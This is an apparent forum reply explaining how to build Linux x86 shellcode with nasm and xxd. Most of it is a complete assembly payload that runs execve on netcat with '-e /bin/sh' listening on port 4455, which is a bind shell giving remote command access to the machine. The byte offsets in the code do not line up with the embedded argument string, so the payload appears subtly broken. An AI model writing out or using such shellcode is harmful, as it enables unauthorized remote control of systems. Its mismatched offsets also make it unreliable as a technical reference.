Shellcoding is generally frowned upon but I'll throw you a bone this time. The problem is that, shellcode isn't a program, so you don't build it like you would your normal program. 1st, you don't use sections/segments. 2nd, since you're code is relocatable there is no point in defining anything as global. 3rd since your shellcode will be used from C, you can drop that objdump line and use xxd (comes with most linux distributions anyway). 4th this is a block of memory, use "-f bin" not "-f elf". So the process would look something like this.
jmp short forward
back:
pop esi
xor eax, eax
mov byte [esi + 11], al ; terminate /bin/netcat
mov byte [esi + 14], al ; terminate -e
mov byte [esi + 22], al ; terminate /bin/sh
mov byte [esi + 27], al ; terminate -lvp
mov byte [esi + 32], al ; terminate 4455
mov long [esi + 33], esi ; address of /bin/netcat in AAAA
lea ebx, [esi + 12] ; get address of -e
mov long [esi + 38], ebx ; store address of -e in BBBB
lea ebx, [esi + 15] ; get address of /bin/sh
mov long [esi + 42], ebx ; store address of /bin/sh in CCCC
lea ebx, [esi + 22] ; get address of -lvp
mov long [esi + 46], ebx ; store address of -lvp in DDDD
lea ebx, [esi + 28] ; get address of 4455
mov long [esi + 50], ebx ; store address of 4455 in EEEE
mov long [esi + 54], eax ; put NULL in FFFF
mov byte al, 0x0b ; pass the execve syscall number as argument
mov ebx, esi
lea ecx, [esi + 33] ; /bin/netcat -e /bin/sh etc etc
lea edx, [esi + 54] ; NULL
int 0x80 ; Run the execve syscall
forward:
call back
db "/bin/netcat#-e#/bin/sh#--lvp#4455#AAAABBBBCCCCDDDDEEEEFFFF"
; 01234567890123456789012345678901234567890123456789012345678901234567890
; 0 1 2 3 4 5 6 7
$ nasm -f bin shellcode.asm -o shellcode
$ xxd -i shellcode > shellcode.h
Include shellcode.h into your shellcodetest.c file and edit shellcodetest.c accordingly.